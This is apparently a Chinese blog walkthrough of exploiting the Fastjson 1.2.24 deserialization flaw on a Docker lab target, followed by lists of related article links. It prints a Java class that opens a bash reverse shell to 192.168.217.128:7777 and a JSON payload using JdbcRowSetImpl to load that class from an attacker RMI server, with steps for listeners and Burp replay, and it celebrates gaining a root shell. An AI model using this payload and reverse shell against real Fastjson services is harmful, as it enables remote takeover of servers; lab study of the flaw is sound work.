Fastjson-1.2.24-RCE

一、环境搭建

机器:kali Linux

Java:jdk8

python:python3.7.x

二、搭建靶机环境

在docker里面搭建一个靶机环境

看看能不能访问

三、构建payload

将下列代码放进backshell.java

import java.lang.Runtime;
import java.lang.Process;

public class backshell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.217.128/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

用javac进行编译

查看编译是否成功

放进kali里面查看

四、用python搭建恶意站点

五、用插件开启rmi监听

六、用nc开启监听

七、用BP抓包

用BP抓包,然后修改POST传参方法,放到重放器模块,写入恶意类

{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.217.128:9999/backshell",        "autoCommit":true    } }

修改数据类型为json,点击发送

八、查看监听的shell

​发现反弹shell成功,命令符在手,还是root权限,一切你说了算!

相关推荐

  1. fastjson

    2023-12-30 05:28:01       11 阅读
  2. <span style='color:red;'>FastJson</span>

    FastJson

    2023-12-30 05:28:01      11 阅读
  3. fastjson升级为fastjson2

    2023-12-30 05:28:01       19 阅读
  4. <span style='color:red;'>RCE</span>漏洞

    RCE漏洞

    2023-12-30 05:28:01      20 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-30 05:28:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-30 05:28:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-30 05:28:01       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-30 05:28:01       20 阅读

热门阅读

  1. 【自然语言处理】类似GPT的模型

    2023-12-30 05:28:01       39 阅读
  2. Oracle导出导入dmp

    2023-12-30 05:28:01       30 阅读
  3. 举例说明自然语言(NLP)技术

    2023-12-30 05:28:01       33 阅读
  4. 基于vim的开发编辑器配置

    2023-12-30 05:28:01       34 阅读